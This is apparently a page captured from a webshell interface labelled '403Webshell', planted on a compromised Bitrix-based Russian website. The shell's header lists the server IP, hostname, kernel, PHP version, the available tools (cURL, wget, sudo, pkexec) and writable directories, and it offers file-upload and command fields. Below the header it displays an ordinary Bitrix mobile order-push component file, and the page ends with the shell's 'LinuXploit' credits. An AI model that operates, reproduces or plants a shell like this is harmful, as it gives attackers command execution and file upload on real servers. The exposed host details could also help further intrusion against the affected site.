403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/sale.mobile.orders.push/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/sale.mobile.orders.push/component.php
<?if(!Defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

if (!CModule::IncludeModule('sale'))
{
	ShowError(GetMessage("SMOP_SALE_NOT_INSTALLED"));
	return;
}

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");
$arStatusList = false;
$arFilter = array("LID" => LANG, "ID" => "N");
$arGroupByTmpSt = false;
$arUserGroups = $USER->GetUserGroupArray();
$userId = intval($USER->GetID());

if ($saleModulePermissions < "W")
{
	$arFilter["GROUP_ID"] = $arUserGroups;
	$arFilter["PERM_VIEW"] = "Y";
	$arGroupByTmpSt = array("ID", "NAME", "MAX" => "PERM_VIEW");
}
$dbStatusList = CSaleStatus::GetList(
	array(),
	$arFilter,
	$arGroupByTmpSt,
	false,
	array("ID", "NAME")
);
$arStatusList = $dbStatusList->Fetch();

if ($saleModulePermissions == "D" OR ($saleModulePermissions < "W" AND $arStatusList["PERM_VIEW"] != "Y"))
{
	ShowError(GetMessage("SMOP_ACCESS_DENIED"));
	return;
}

if (!CModule::IncludeModule('mobileapp'))
{
	ShowError(GetMessage("SMOP_MA_NOT_INSTALLED"));
	return;
}

$arResult = array(
	"CURRENT_PAGE" => $APPLICATION->GetCurPage(),
	"AJAX_URL" => $componentPath."/ajax.php",
	"EVENTS" => array()
);

$arEvents = CSaleMobileOrderPush::getEvents();
$arSubscribedEvents = CSaleMobileOrderPush::getSubscriptions($userId);
$counter = 0;

foreach ($arEvents as $eventId)
{
	if(isset($arSubscribedEvents[$eventId]) && $arSubscribedEvents[$eventId] == 'Y')
	{
		$counter++;
		$subscribed = true;
	}
	else
	{
		$subscribed = false;
	}

	$msg = GetMessage("SMOP_EVNT_".$eventId);

	if($msg <> '')
	{
		$arResult["EVENTS"][$eventId] = array(
			"TITLE" => $msg,
			"SUBSCRIBED" => $subscribed
		);
	}
}

$arResult["SUBSCRIBED_ALL"] = $counter == count($arResult["EVENTS"]);
CJSCore::Init('ajax');

$this->IncludeComponentTemplate();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit